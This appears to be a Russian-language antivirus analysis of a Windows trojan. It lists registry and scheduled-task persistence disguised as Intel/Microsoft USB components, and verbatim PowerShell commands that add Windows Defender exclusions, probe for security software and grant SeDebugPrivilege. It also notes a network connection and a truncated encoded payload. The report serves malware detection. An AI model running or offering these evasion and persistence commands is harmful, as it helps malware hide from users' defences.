Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MicrosoftUSBMonitor' = '%LOCALAPPDATA%\AppData\iusb3mon.exe'
- [HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run] 'MicrosoftUSBMonitor' = '%LOCALAPPDATA%\AppData\iusb3mon.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\intel usb 3.0 extensible host controller
- <SYSTEM32>\tasks\second name
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "$env:LOCALAPPDATA\AppData","$env:LOCALAPPDATA\Local","%ALLUSERSPROFILE%\Microsoft\Program","%ALLUSERSPROFILE%\Program","%ALLUSERSPROFILE%\Program\EduWe...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "<Полный путь к файлу>","$env:LOCALAPPDATA\AppData","$env:LOCALAPPDATA\Local" -ExclusionProcess "<Имя файла>.exe" -Force; Start-Sleep -Seconds 2
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\_ir_sf_temp_0\irsetup.exe
- %TEMP%\_ir_sf_temp_0\lua5.1.dll
- %TEMP%\_ir_sf_temp_0\irsetup.dat
- %TEMP%\_ir_sf_temp_0\irimg1.jpg
- %TEMP%\_ir_sf_temp_0\irimg2.jpg
- %LOCALAPPDATA%\appdata\iusb3mon.exe
- %LOCALAPPDATA%\local\ziliao.jpg
- %TEMP%\925359_t.xml
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
- %TEMP%\926453_t.xml
- %TEMP%\sedebugprivilege.inf
- %TEMP%\sedebugprivilege.log
- %TEMP%\sedebugprivilege.jfm
- %TEMP%\sedebugprivilege.sdb
Перемещает следующие системные файлы
- %WINDIR%\security\database\edb.log в %WINDIR%\security\database\edb00001.log
Сетевая активность
Подключается к
- '15#.#3.224.20':25448
Другое
Ищет следующие окна
- ClassName: 'MS_WINHELP' WindowName: ''
- ClassName: 'Q360SafeMonClass' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\_ir_sf_temp_0\irsetup.exe' __IRAOFF:5566322 "__IRAFN:<Полный путь к файлу>" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-4226853953-3309226944-3078887307-1000"
- '%LOCALAPPDATA%\appdata\iusb3mon.exe'
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $ppid=(Get-WmiObject -Query 'select ParentProcessId from Win32_Process where ProcessId=4308').ParentProcessId;exit $ppid (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"360tray.exe\")); (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"msmpeng.exe\")); (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"securityhealthsystray.exe\")); (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUA... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks.exe /create /tn "Intel USB 3.0 eXtensible Host Controller" /xml "%TEMP%\925359_t.xml" (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks.exe /create /tn "second name" /xml "%TEMP%\926453_t.xml" (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "Intel USB 3.0 eXtensible Host Controller" /xml "%TEMP%\925359_t.xml"
- '%WINDIR%\syswow64\schtasks.exe' /create /tn "second name" /xml "%TEMP%\926453_t.xml"
- '%WINDIR%\syswow64\secedit.exe' /configure /db %TEMP%\SeDebugPrivilege.sdb /cfg %TEMP%\SeDebugPrivilege.inf /overwrite /log %TEMP%\SeDebugPrivilege.log /quiet
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "$env:LOCALAPPDATA\AppData","$env:LOCALAPPDATA\Local","%ALLUSERSPROFILE%\Microsoft\Program","%ALLUSERSPROFILE%\Program","%ALLUSERSPROFILE%\Program\EduWe... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "<Полный путь к файлу>","$env:LOCALAPPDATA\AppData","$env:LOCALAPPDATA\Local" -ExclusionProcess "<Имя файла>.exe" -Force; Start-Sleep -Seconds 2 (со скрытым окном)
- '%LOCALAPPDATA%\appdata\iusb3mon.exe' (со скрытым окном)
